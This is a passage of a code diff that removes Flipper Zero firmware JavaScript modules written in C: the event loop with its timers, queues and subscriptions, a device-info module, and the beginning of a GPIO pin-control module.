bool asked_to_stop = js_flags_wait(context->mjs, ThreadEventStop, 0) & ThreadEventStop;
if(is_error || asked_to_stop) {
furi_event_loop_stop(context->event_loop);
}
// save returned args for next call
if(mjs_array_length(context->mjs, result) != context->arity - SYSTEM_ARGS) return;
for(size_t i = 0; i < context->arity - SYSTEM_ARGS; i++) {
mjs_disown(context->mjs, &context->arguments[i + SYSTEM_ARGS]);
context->arguments[i + SYSTEM_ARGS] = mjs_array_get(context->mjs, result, i);
mjs_own(context->mjs, &context->arguments[i + SYSTEM_ARGS]);
}
}
/**
* @brief Handles non-timer events
*/
static void js_event_loop_callback(void* object, void* param) {
JsEventLoopCallbackContext* context = param;
if(context->transformer) {
mjs_disown(context->mjs, &context->arguments[1]);
context->arguments[1] =
context->transformer(context->mjs, object, context->transformer_context);
mjs_own(context->mjs, &context->arguments[1]);
} else {
// default behavior: take semaphores and mutexes
switch(context->object_type) {
case JsEventLoopObjectTypeSemaphore: {
FuriSemaphore* semaphore = object;
furi_check(furi_semaphore_acquire(semaphore, 0) == FuriStatusOk);
} break;
default:
// the corresponding check has been performed when we were given the contract
furi_crash();
}
}
js_event_loop_callback_generic(param);
}
/**
* @brief Cancels an event subscription
*/
static void js_event_loop_subscription_cancel(struct mjs* mjs) {
JsEventLoopSubscription* subscription = JS_GET_CONTEXT(mjs);
if(subscription->object_type == JsEventLoopObjectTypeTimer) {
// timer operations are deferred, which creates lifetime issues
// just stop the timer and let the cleanup routine free everything when the script is done
furi_event_loop_timer_stop(subscription->object);
return;
}
furi_event_loop_unsubscribe(subscription->loop, subscription->object);
free(subscription->context->arguments);
free(subscription->context);
// find and remove ourselves from the array
SubscriptionArray_it_t iterator;
for(SubscriptionArray_it(iterator, subscription->subscriptions);
!SubscriptionArray_end_p(iterator);
SubscriptionArray_next(iterator)) {
JsEventLoopSubscription* item = *SubscriptionArray_cref(iterator);
if(item == subscription) break;
}
SubscriptionArray_remove(subscription->subscriptions, iterator);
free(subscription);
mjs_return(mjs, MJS_UNDEFINED);
}
/**
* @brief Subscribes a JavaScript function to an event
*/
static void js_event_loop_subscribe(struct mjs* mjs) {
JsEventLoop* module = JS_GET_CONTEXT(mjs);
// get arguments
static const JsValueDeclaration js_loop_subscribe_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeRawPointer),
JS_VALUE_SIMPLE(JsValueTypeFunction),
};
static const JsValueArguments js_loop_subscribe_args =
JS_VALUE_ARGS(js_loop_subscribe_arg_list);
JsEventLoopContract* contract;
mjs_val_t callback;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_loop_subscribe_args, &contract, &callback);
// create subscription object
JsEventLoopSubscription* subscription = malloc(sizeof(JsEventLoopSubscription));
JsEventLoopCallbackContext* context = malloc(sizeof(JsEventLoopCallbackContext));
subscription->loop = module->loop;
subscription->object_type = contract->object_type;
subscription->context = context;
subscription->subscriptions = module->subscriptions;
if(contract->object_type == JsEventLoopObjectTypeTimer) subscription->contract = contract;
mjs_val_t subscription_obj = mjs_mk_object(mjs);
mjs_set(mjs, subscription_obj, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, subscription));
mjs_set(mjs, subscription_obj, "cancel", ~0, MJS_MK_FN(js_event_loop_subscription_cancel));
// create callback context
context->event_loop = module->loop;
context->object_type = contract->object_type;
context->arity = mjs_nargs(mjs) - SYSTEM_ARGS + 2;
context->arguments = calloc(context->arity, sizeof(mjs_val_t));
context->arguments[0] = subscription_obj;
context->arguments[1] = MJS_UNDEFINED;
for(size_t i = SYSTEM_ARGS; i < context->arity; i++) {
mjs_val_t arg = mjs_arg(mjs, i - SYSTEM_ARGS + 2);
context->arguments[i] = arg;
mjs_own(mjs, &context->arguments[i]);
}
context->mjs = mjs;
context->callback = callback;
mjs_own(mjs, &context->callback);
mjs_own(mjs, &context->arguments[0]);
mjs_own(mjs, &context->arguments[1]);
// queue and stream contracts must have a transform callback, others are allowed to delegate
// the obvious default behavior to this module
if(contract->object_type == JsEventLoopObjectTypeQueue ||
contract->object_type == JsEventLoopObjectTypeStream) {
furi_check(contract->non_timer.transformer);
}
context->transformer = contract->non_timer.transformer;
context->transformer_context = contract->non_timer.transformer_context;
// subscribe
switch(contract->object_type) {
case JsEventLoopObjectTypeTimer: {
FuriEventLoopTimer* timer = furi_event_loop_timer_alloc(
module->loop, js_event_loop_callback_generic, contract->timer.type, context);
furi_event_loop_timer_start(timer, contract->timer.interval_ticks);
contract->object = timer;
} break;
case JsEventLoopObjectTypeSemaphore:
furi_event_loop_subscribe_semaphore(
module->loop,
contract->object,
contract->non_timer.event,
js_event_loop_callback,
context);
break;
case JsEventLoopObjectTypeQueue:
furi_event_loop_subscribe_message_queue(
module->loop,
contract->object,
contract->non_timer.event,
js_event_loop_callback,
context);
break;
default:
furi_crash("unimplemented");
}
subscription->object = contract->object;
SubscriptionArray_push_back(module->subscriptions, subscription);
mjs_return(mjs, subscription_obj);
}
/**
* @brief Runs the event loop until it is stopped
*/
static void js_event_loop_run(struct mjs* mjs) {
JsEventLoop* module = JS_GET_CONTEXT(mjs);
furi_event_loop_run(module->loop);
}
/**
* @brief Stops a running event loop
*/
static void js_event_loop_stop(struct mjs* mjs) {
JsEventLoop* module = JS_GET_CONTEXT(mjs);
furi_event_loop_stop(module->loop);
}
/**
* @brief Creates a timer event that can be subscribed to just like any other
* event
*/
static void js_event_loop_timer(struct mjs* mjs) {
static const JsValueEnumVariant js_loop_timer_mode_variants[] = {
{"periodic", FuriEventLoopTimerTypePeriodic},
{"oneshot", FuriEventLoopTimerTypeOnce},
};
static const JsValueDeclaration js_loop_timer_arg_list[] = {
JS_VALUE_ENUM(FuriEventLoopTimerType, js_loop_timer_mode_variants),
JS_VALUE_SIMPLE(JsValueTypeInt32),
};
static const JsValueArguments js_loop_timer_args = JS_VALUE_ARGS(js_loop_timer_arg_list);
FuriEventLoopTimerType mode;
int32_t interval;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_loop_timer_args, &mode, &interval);
JsEventLoop* module = JS_GET_CONTEXT(mjs);
// make timer contract
JsEventLoopContract* contract = malloc(sizeof(JsEventLoopContract));
*contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeTimer,
.object = NULL,
.timer =
{
.interval_ticks = furi_ms_to_ticks((uint32_t)interval),
.type = mode,
},
};
ContractArray_push_back(module->owned_contracts, contract);
mjs_return(mjs, mjs_mk_foreign(mjs, contract));
}
/**
* @brief Queue transformer. Takes `mjs_val_t` pointers out of a queue and
* returns their dereferenced value
*/
static mjs_val_t
js_event_loop_queue_transformer(struct mjs* mjs, FuriEventLoopObject* object, void* context) {
UNUSED(context);
mjs_val_t* message_ptr;
furi_check(furi_message_queue_get(object, &message_ptr, 0) == FuriStatusOk);
mjs_val_t message = *message_ptr;
mjs_disown(mjs, message_ptr);
free(message_ptr);
return message;
}
/**
* @brief Sends a message to a queue
*/
static void js_event_loop_queue_send(struct mjs* mjs) {
// get arguments
static const JsValueDeclaration js_loop_q_send_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeAny),
};
static const JsValueArguments js_loop_q_send_args = JS_VALUE_ARGS(js_loop_q_send_arg_list);
mjs_val_t message;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_loop_q_send_args, &message);
JsEventLoopContract* contract = JS_GET_CONTEXT(mjs);
// send message
mjs_val_t* message_ptr = malloc(sizeof(mjs_val_t));
*message_ptr = message;
mjs_own(mjs, message_ptr);
furi_message_queue_put(contract->object, &message_ptr, 0);
mjs_return(mjs, MJS_UNDEFINED);
}
/**
* @brief Creates a queue
*/
static void js_event_loop_queue(struct mjs* mjs) {
// get arguments
static const JsValueDeclaration js_loop_q_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeInt32),
};
static const JsValueArguments js_loop_q_args = JS_VALUE_ARGS(js_loop_q_arg_list);
int32_t length;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_loop_q_args, &length);
JsEventLoop* module = JS_GET_CONTEXT(mjs);
// make queue contract
JsEventLoopContract* contract = malloc(sizeof(JsEventLoopContract));
*contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeQueue,
// we could store `mjs_val_t`s in the queue directly if not for mJS' requirement to have consistent pointers to owned values
.object = furi_message_queue_alloc((size_t)length, sizeof(mjs_val_t*)),
.non_timer =
{
.event = FuriEventLoopEventIn,
.transformer = js_event_loop_queue_transformer,
},
};
ContractArray_push_back(module->owned_contracts, contract);
// return object with control methods
mjs_val_t queue = mjs_mk_object(mjs);
mjs_set(mjs, queue, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, contract));
mjs_set(mjs, queue, "input", ~0, mjs_mk_foreign(mjs, contract));
mjs_set(mjs, queue, "send", ~0, MJS_MK_FN(js_event_loop_queue_send));
mjs_return(mjs, queue);
}
static void* js_event_loop_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
UNUSED(modules);
mjs_val_t event_loop_obj = mjs_mk_object(mjs);
JsEventLoop* module = malloc(sizeof(JsEventLoop));
module->loop = furi_event_loop_alloc();
SubscriptionArray_init(module->subscriptions);
ContractArray_init(module->owned_contracts);
JS_ASSIGN_MULTI(mjs, event_loop_obj) {
JS_FIELD(INST_PROP_NAME, mjs_mk_foreign(mjs, module));
JS_FIELD("subscribe", MJS_MK_FN(js_event_loop_subscribe));
JS_FIELD("run", MJS_MK_FN(js_event_loop_run));
JS_FIELD("stop", MJS_MK_FN(js_event_loop_stop));
JS_FIELD("timer", MJS_MK_FN(js_event_loop_timer));
JS_FIELD("queue", MJS_MK_FN(js_event_loop_queue));
}
*object = event_loop_obj;
return module;
}
static void js_event_loop_destroy(void* inst) {
if(inst) {
JsEventLoop* module = inst;
furi_event_loop_stop(module->loop);
// free subscriptions
SubscriptionArray_it_t sub_iterator;
for(SubscriptionArray_it(sub_iterator, module->subscriptions);
!SubscriptionArray_end_p(sub_iterator);
SubscriptionArray_next(sub_iterator)) {
JsEventLoopSubscription* const* sub = SubscriptionArray_cref(sub_iterator);
free((*sub)->context->arguments);
free((*sub)->context);
free(*sub);
}
SubscriptionArray_clear(module->subscriptions);
// free owned contracts
ContractArray_it_t iterator;
for(ContractArray_it(iterator, module->owned_contracts); !ContractArray_end_p(iterator);
ContractArray_next(iterator)) {
// unsubscribe object
JsEventLoopContract* contract = *ContractArray_cref(iterator);
if(contract->object_type == JsEventLoopObjectTypeTimer) {
furi_event_loop_timer_stop(contract->object);
} else {
furi_event_loop_unsubscribe(module->loop, contract->object);
}
// free object
switch(contract->object_type) {
case JsEventLoopObjectTypeTimer:
furi_event_loop_timer_free(contract->object);
break;
case JsEventLoopObjectTypeSemaphore:
furi_semaphore_free(contract->object);
break;
case JsEventLoopObjectTypeQueue:
furi_message_queue_free(contract->object);
break;
default:
furi_crash("unimplemented");
}
free(contract);
}
ContractArray_clear(module->owned_contracts);
furi_event_loop_free(module->loop);
free(module);
}
}
extern const ElfApiInterface js_event_loop_hashtable_api_interface;
static const JsModuleDescriptor js_event_loop_desc = {
"event_loop",
js_event_loop_create,
js_event_loop_destroy,
&js_event_loop_hashtable_api_interface,
};
static const FlipperAppPluginDescriptor plugin_descriptor = {
.appid = PLUGIN_APP_ID,
.ep_api_version = PLUGIN_API_VERSION,
.entry_point = &js_event_loop_desc,
};
const FlipperAppPluginDescriptor* js_event_loop_ep(void) {
return &plugin_descriptor;
}
FuriEventLoop* js_event_loop_get_loop(JsEventLoop* loop) {
// porta: not the proudest function that i ever wrote
furi_check(loop);
return loop->loop;
}

View File

@@ -1,104 +0,0 @@
#include "../../js_modules.h" // IWYU pragma: keep
#include <furi/core/event_loop.h>
#include <furi/core/event_loop_timer.h>
/**
* @file js_event_loop.h
*
* In JS interpreter code, `js_event_loop` always creates and maintains the
* event loop. There are two ways in which other modules can integrate with this
* loop:
* - Via contracts: The user of your module would have to acquire an opaque
* JS value from you and pass it to `js_event_loop`. This is useful for
* events that they user may be interested in. For more info, look at
* `JsEventLoopContract`. Also look at `js_event_loop_get_loop`, which
* you will need to unsubscribe the event loop from your object.
* - Directly: When your module is created, you can acquire an instance of
* `JsEventLoop` which you can use to acquire an instance of
* `FuriEventLoop` that you can manipulate directly, without the JS
* programmer having to pass contracts around. This is useful for
* "behind-the-scenes" events that the user does not need to know about. For
* more info, look at `js_event_loop_get_loop`.
*
* In both cases, your module is responsible for both instantiating,
* unsubscribing and freeing the object that the event loop subscribes to.
*/
#ifdef __cplusplus
extern "C" {
#endif
typedef struct JsEventLoop JsEventLoop;
typedef enum {
JsEventLoopObjectTypeTimer,
JsEventLoopObjectTypeQueue,
JsEventLoopObjectTypeMutex,
JsEventLoopObjectTypeSemaphore,
JsEventLoopObjectTypeStream,
} JsEventLoopObjectType;
typedef mjs_val_t (
*JsEventLoopTransformer)(struct mjs* mjs, FuriEventLoopObject* object, void* context);
typedef struct {
FuriEventLoopEvent event;
JsEventLoopTransformer transformer;
void* transformer_context;
} JsEventLoopNonTimerContract;
typedef struct {
FuriEventLoopTimerType type;
uint32_t interval_ticks;
} JsEventLoopTimerContract;
/**
* @brief Adapter for other JS modules that wish to integrate with the event
* loop JS module
*
* If another module wishes to integrate with `js_event_loop`, it needs to
* implement a function callable from JS that returns an mJS foreign pointer to
* an instance of this structure. This value is then read by `event_loop`'s
* `subscribe` function.
*
* There are two fundamental variants of this structure:
* - `object_type` is `JsEventLoopObjectTypeTimer`: the `timer` field is
* valid, and the `non_timer` field is invalid.
* - `object_type` is something else: the `timer` field is invalid, and the
* `non_timer` field is valid. `non_timer.event` will be passed to
* `furi_event_loop_subscribe`. `non_timer.transformer` will be called to
* transform an object into a JS value (called an item) that's passed to the
* JS callback. This is useful for example to take an item out of a message
* queue and pass it to JS code in a convenient format. If
* `non_timer.transformer` is NULL, the event loop will take semaphores and
* mutexes on its own.
*
* The producer of the contract is responsible for freeing both the contract and
* the object that it points to when the interpreter is torn down.
*/
typedef struct {
JsForeignMagic magic; // <! `JsForeignMagic_JsEventLoopContract`
JsEventLoopObjectType object_type;
FuriEventLoopObject* object;
union {
JsEventLoopNonTimerContract non_timer;
JsEventLoopTimerContract timer;
};
} JsEventLoopContract;
static_assert(offsetof(JsEventLoopContract, magic) == 0);
/**
* @brief Gets the FuriEventLoop owned by a JsEventLoop
*
* This function is useful in case your JS module wishes to integrate with
* the event loop without passing contracts through JS code. Your module will be
* dynamically linked to this one if you use this function, but only if JS code
* imports `event_loop` _before_ your module. An instance of `JsEventLoop` may
* be obtained via `js_module_get`.
*/
FuriEventLoop* js_event_loop_get_loop(JsEventLoop* loop);
#ifdef __cplusplus
}
#endif

View File

@@ -1,16 +0,0 @@
#include <flipper_application/api_hashtable/api_hashtable.h>
#include <flipper_application/api_hashtable/compilesort.hpp>
#include "js_event_loop_api_table_i.h"
static_assert(!has_hash_collisions(js_event_loop_api_table), "Detected API method hash collision!");
extern "C" constexpr HashtableApiInterface js_event_loop_hashtable_api_interface{
{
.api_version_major = 0,
.api_version_minor = 0,
.resolver_callback = &elf_resolve_from_hashtable,
},
js_event_loop_api_table.cbegin(),
js_event_loop_api_table.cend(),
};

View File

@@ -1,4 +0,0 @@
#include "js_event_loop.h"
static constexpr auto js_event_loop_api_table = sort(
create_array_t<sym_entry>(API_METHOD(js_event_loop_get_loop, FuriEventLoop*, (JsEventLoop*))));

View File

@@ -1,45 +0,0 @@
#include "../js_modules.h" // IWYU pragma: keep
#include <core/common_defines.h>
#include <furi_hal_version.h>
#include <power/power_service/power.h>
static void js_flipper_get_model(struct mjs* mjs) {
mjs_val_t ret = mjs_mk_string(mjs, furi_hal_version_get_model_name(), ~0, true);
mjs_return(mjs, ret);
}
static void js_flipper_get_name(struct mjs* mjs) {
const char* name_str = furi_hal_version_get_name_ptr();
if(name_str == NULL) {
name_str = "Unknown";
}
mjs_val_t ret = mjs_mk_string(mjs, name_str, ~0, true);
mjs_return(mjs, ret);
}
static void js_flipper_get_battery(struct mjs* mjs) {
Power* power = furi_record_open(RECORD_POWER);
PowerInfo info;
power_get_info(power, &info);
furi_record_close(RECORD_POWER);
mjs_return(mjs, mjs_mk_number(mjs, info.charge));
}
void* js_flipper_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
UNUSED(modules);
mjs_val_t sdk_vsn = mjs_mk_array(mjs);
mjs_array_push(mjs, sdk_vsn, mjs_mk_number(mjs, JS_SDK_MAJOR));
mjs_array_push(mjs, sdk_vsn, mjs_mk_number(mjs, JS_SDK_MINOR));
mjs_val_t flipper_obj = mjs_mk_object(mjs);
*object = flipper_obj;
JS_ASSIGN_MULTI(mjs, flipper_obj) {
JS_FIELD("getModel", MJS_MK_FN(js_flipper_get_model));
JS_FIELD("getName", MJS_MK_FN(js_flipper_get_name));
JS_FIELD("getBatteryCharge", MJS_MK_FN(js_flipper_get_battery));
JS_FIELD("firmwareVendor", mjs_mk_string(mjs, JS_SDK_VENDOR_FIRMWARE, ~0, false));
JS_FIELD("jsSdkVersion", sdk_vsn);
}
return (void*)1;
}

View File

@@ -1,4 +0,0 @@
#pragma once
#include "../js_thread_i.h"
void* js_flipper_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules);

View File

@@ -1,490 +0,0 @@
#include "../js_modules.h" // IWYU pragma: keep
#include "./js_event_loop/js_event_loop.h"
#include <furi_hal_gpio.h>
#include <furi_hal_pwm.h>
#include <furi_hal_resources.h>
#include <expansion/expansion.h>
#include <limits.h>
#include <mlib/m-array.h>
#define INTERRUPT_QUEUE_LEN 16
/**
* Per-pin control structure
*/
typedef struct {
const GpioPin* pin;
bool had_interrupt;
FuriSemaphore* interrupt_semaphore;
JsEventLoopContract* interrupt_contract;
FuriHalAdcChannel adc_channel;
FuriHalPwmOutputId pwm_output;
FuriHalAdcHandle* adc_handle;
} JsGpioPinInst;
ARRAY_DEF(ManagedPinsArray, JsGpioPinInst*, M_PTR_OPLIST); //-V575
#define M_OPL_ManagedPinsArray_t() ARRAY_OPLIST(ManagedPinsArray)
/**
* Per-module instance control structure
*/
typedef struct {
FuriEventLoop* loop;
ManagedPinsArray_t managed_pins;
FuriHalAdcHandle* adc_handle;
} JsGpioInst;
/**
* @brief Interrupt callback
*/
static void js_gpio_int_cb(void* arg) {
furi_assert(arg);
FuriSemaphore* semaphore = arg;
furi_semaphore_release(semaphore);
}
/**
* @brief Initializes a GPIO pin according to the provided mode object
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let led = gpio.get("pc3");
* led.init({ direction: "out", outMode: "push_pull" });
* ```
*/
static void js_gpio_init(struct mjs* mjs) {
// direction variants
typedef enum {
JsGpioDirectionIn,
JsGpioDirectionOut,
} JsGpioDirection;
static const JsValueEnumVariant js_gpio_direction_variants[] = {
{"in", JsGpioDirectionIn},
{"out", JsGpioDirectionOut},
};
static const JsValueDeclaration js_gpio_direction =
JS_VALUE_ENUM(JsGpioDirection, js_gpio_direction_variants);
// inMode variants
typedef enum {
JsGpioInModeAnalog = (0 << 0),
JsGpioInModePlainDigital = (1 << 0),
JsGpioInModeInterrupt = (2 << 0),
JsGpioInModeEvent = (3 << 0),
} JsGpioInMode;
static const JsValueEnumVariant js_gpio_in_mode_variants[] = {
{"analog", JsGpioInModeAnalog},
{"plain_digital", JsGpioInModePlainDigital},
{"interrupt", JsGpioInModeInterrupt},
{"event", JsGpioInModeEvent},
};
static const JsValueDeclaration js_gpio_in_mode =
JS_VALUE_ENUM_W_DEFAULT(JsGpioInMode, js_gpio_in_mode_variants, JsGpioInModePlainDigital);
// outMode variants
typedef enum {
JsGpioOutModePushPull,
JsGpioOutModeOpenDrain,
} JsGpioOutMode;
static const JsValueEnumVariant js_gpio_out_mode_variants[] = {
{"push_pull", JsGpioOutModePushPull},
{"open_drain", JsGpioOutModeOpenDrain},
};
static const JsValueDeclaration js_gpio_out_mode =
JS_VALUE_ENUM_W_DEFAULT(JsGpioOutMode, js_gpio_out_mode_variants, JsGpioOutModeOpenDrain);
// edge variants
typedef enum {
JsGpioEdgeRising = (0 << 2),
JsGpioEdgeFalling = (1 << 2),
JsGpioEdgeBoth = (2 << 2),
} JsGpioEdge;
static const JsValueEnumVariant js_gpio_edge_variants[] = {
{"rising", JsGpioEdgeRising},
{"falling", JsGpioEdgeFalling},
{"both", JsGpioEdgeBoth},
};
static const JsValueDeclaration js_gpio_edge =
JS_VALUE_ENUM_W_DEFAULT(JsGpioEdge, js_gpio_edge_variants, JsGpioEdgeRising);
// pull variants
static const JsValueEnumVariant js_gpio_pull_variants[] = {
{"up", GpioPullUp},
{"down", GpioPullDown},
};
static const JsValueDeclaration js_gpio_pull =
JS_VALUE_ENUM_W_DEFAULT(GpioPull, js_gpio_pull_variants, GpioPullNo);
// complete mode object
static const JsValueObjectField js_gpio_mode_object_fields[] = {
{"direction", &js_gpio_direction},
{"inMode", &js_gpio_in_mode},
{"outMode", &js_gpio_out_mode},
{"edge", &js_gpio_edge},
{"pull", &js_gpio_pull},
};
// function args
static const JsValueDeclaration js_gpio_init_arg_list[] = {
JS_VALUE_OBJECT_W_DEFAULTS(js_gpio_mode_object_fields),
};
static const JsValueArguments js_gpio_init_args = JS_VALUE_ARGS(js_gpio_init_arg_list);
JsGpioDirection direction;
JsGpioInMode in_mode;
JsGpioOutMode out_mode;
JsGpioEdge edge;
GpioPull pull;
JS_VALUE_PARSE_ARGS_OR_RETURN(
mjs, &js_gpio_init_args, &direction, &in_mode, &out_mode, &edge, &pull);
GpioMode mode;
if(direction == JsGpioDirectionOut) {
static const GpioMode js_gpio_out_mode_lut[] = {
[JsGpioOutModePushPull] = GpioModeOutputPushPull,
[JsGpioOutModeOpenDrain] = GpioModeOutputOpenDrain,
};
mode = js_gpio_out_mode_lut[out_mode];
} else {
static const GpioMode js_gpio_in_mode_lut[] = {
[JsGpioInModeAnalog] = GpioModeAnalog,
[JsGpioInModePlainDigital] = GpioModeInput,
[JsGpioInModeInterrupt | JsGpioEdgeRising] = GpioModeInterruptRise,
[JsGpioInModeInterrupt | JsGpioEdgeFalling] = GpioModeInterruptFall,
[JsGpioInModeInterrupt | JsGpioEdgeBoth] = GpioModeInterruptRiseFall,
[JsGpioInModeEvent | JsGpioEdgeRising] = GpioModeEventRise,
[JsGpioInModeEvent | JsGpioEdgeFalling] = GpioModeEventFall,
[JsGpioInModeEvent | JsGpioEdgeBoth] = GpioModeEventRiseFall,
};
mode = js_gpio_in_mode_lut[in_mode | edge];
}
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
furi_hal_gpio_init(manager_data->pin, mode, pull, GpioSpeedVeryHigh);
}
/**
* @brief Writes a logic value to a GPIO pin
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let led = gpio.get("pc3");
* led.init({ direction: "out", outMode: "push_pull" });
* led.write(true);
* ```
*/
static void js_gpio_write(struct mjs* mjs) {
static const JsValueDeclaration js_gpio_write_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeBool),
};
static const JsValueArguments js_gpio_write_args = JS_VALUE_ARGS(js_gpio_write_arg_list);
bool level;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gpio_write_args, &level);
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
furi_hal_gpio_write(manager_data->pin, level);
mjs_return(mjs, MJS_UNDEFINED);
}
/**
* @brief Reads a logic value from a GPIO pin
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let button = gpio.get("pc1");
* button.init({ direction: "in" });
* if(button.read())
* print("hi button!!!!!");
* ```
*/
static void js_gpio_read(struct mjs* mjs) {
// get level
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
bool value = furi_hal_gpio_read(manager_data->pin);
mjs_return(mjs, mjs_mk_boolean(mjs, value));
}
/**
* @brief Returns a event loop contract that can be used to listen to interrupts
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let button = gpio.get("pc1");
* let event_loop = require("event_loop");
* button.init({ direction: "in", pull: "up", inMode: "interrupt", edge: "falling" });
* event_loop.subscribe(button.interrupt(), function (_) { print("Hi!"); });
* event_loop.run();
* ```
*/
static void js_gpio_interrupt(struct mjs* mjs) {
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
// interrupt handling
if(!manager_data->had_interrupt) {
furi_hal_gpio_add_int_callback(
manager_data->pin, js_gpio_int_cb, manager_data->interrupt_semaphore);
furi_hal_gpio_enable_int_callback(manager_data->pin);
manager_data->had_interrupt = true;
}
// make contract
JsEventLoopContract* contract = malloc(sizeof(JsEventLoopContract));
*contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeSemaphore,
.object = manager_data->interrupt_semaphore,
.non_timer =
{
.event = FuriEventLoopEventIn,
},
};
manager_data->interrupt_contract = contract;
mjs_return(mjs, mjs_mk_foreign(mjs, contract));
}
/**
* @brief Reads a voltage from a GPIO pin in analog mode
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let pot = gpio.get("pc0");
* pot.init({ direction: "in", inMode: "analog" });
* print("voltage:" pot.readAnalog(), "mV");
* ```
*/
static void js_gpio_read_analog(struct mjs* mjs) {
// get mV (ADC is configured for 12 bits and 2048 mV max)
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
uint16_t millivolts =
furi_hal_adc_read(manager_data->adc_handle, manager_data->adc_channel) / 2;
mjs_return(mjs, mjs_mk_number(mjs, (double)millivolts));
}
/**
* @brief Determines whether this pin supports PWM
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* assert_eq(true, gpio.get("pa4").isPwmSupported());
* assert_eq(false, gpio.get("pa5").isPwmSupported());
* ```
*/
static void js_gpio_is_pwm_supported(struct mjs* mjs) {
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
mjs_return(mjs, mjs_mk_boolean(mjs, manager_data->pwm_output != FuriHalPwmOutputIdNone));
}
/**
* @brief Sets PWM parameters and starts the PWM
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let pa4 = gpio.get("pa4");
* pa4.pwmWrite(10000, 50);
* ```
*/
static void js_gpio_pwm_write(struct mjs* mjs) {
static const JsValueDeclaration js_gpio_pwm_write_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeInt32),
JS_VALUE_SIMPLE(JsValueTypeInt32),
};
static const JsValueArguments js_gpio_pwm_write_args =
JS_VALUE_ARGS(js_gpio_pwm_write_arg_list);
int32_t frequency, duty;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gpio_pwm_write_args, &frequency, &duty);
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
if(manager_data->pwm_output == FuriHalPwmOutputIdNone) {
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "PWM is not supported on this pin");
}
if(furi_hal_pwm_is_running(manager_data->pwm_output)) {
furi_hal_pwm_set_params(manager_data->pwm_output, frequency, duty);
} else {
furi_hal_pwm_start(manager_data->pwm_output, frequency, duty);
}
}
/**
* @brief Determines whether PWM is running
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* assert_eq(false, gpio.get("pa4").isPwmRunning());
* ```
*/
static void js_gpio_is_pwm_running(struct mjs* mjs) {
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
if(manager_data->pwm_output == FuriHalPwmOutputIdNone) {
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "PWM is not supported on this pin");
}
mjs_return(mjs, mjs_mk_boolean(mjs, furi_hal_pwm_is_running(manager_data->pwm_output)));
}
/**
* @brief Stops PWM
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let pa4 = gpio.get("pa4");
* pa4.pwmWrite(10000, 50);
* pa4.pwmStop();
* ```
*/
static void js_gpio_pwm_stop(struct mjs* mjs) {
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
if(manager_data->pwm_output == FuriHalPwmOutputIdNone) {
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "PWM is not supported on this pin");
}
furi_hal_pwm_stop(manager_data->pwm_output);
}
/**
* @brief Returns an object that manages a specified pin.
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let led = gpio.get("pc3");
* ```
*/
static void js_gpio_get(struct mjs* mjs) {
static const JsValueDeclaration js_gpio_get_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeAny),
};
static const JsValueArguments js_gpio_get_args = JS_VALUE_ARGS(js_gpio_get_arg_list);
mjs_val_t name_arg;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gpio_get_args, &name_arg);
const char* name_string = mjs_get_string(mjs, &name_arg, NULL);
const GpioPinRecord* pin_record = NULL;
// parse input argument to a pin pointer
if(name_string) {
pin_record = furi_hal_resources_pin_by_name(name_string);
} else if(mjs_is_number(name_arg)) {
int name_int = mjs_get_int(mjs, name_arg);
pin_record = furi_hal_resources_pin_by_number(name_int);
} else {
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "Must be either a string or a number");
}
if(!pin_record) JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "Pin not found on device");
if(pin_record->debug)
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "Pin is used for debugging");
// return pin manager object
JsGpioInst* module = JS_GET_CONTEXT(mjs);
mjs_val_t manager = mjs_mk_object(mjs);
JsGpioPinInst* manager_data = malloc(sizeof(JsGpioPinInst));
manager_data->pin = pin_record->pin;
manager_data->interrupt_semaphore = furi_semaphore_alloc(UINT32_MAX, 0);
manager_data->adc_handle = module->adc_handle;
manager_data->adc_channel = pin_record->channel;
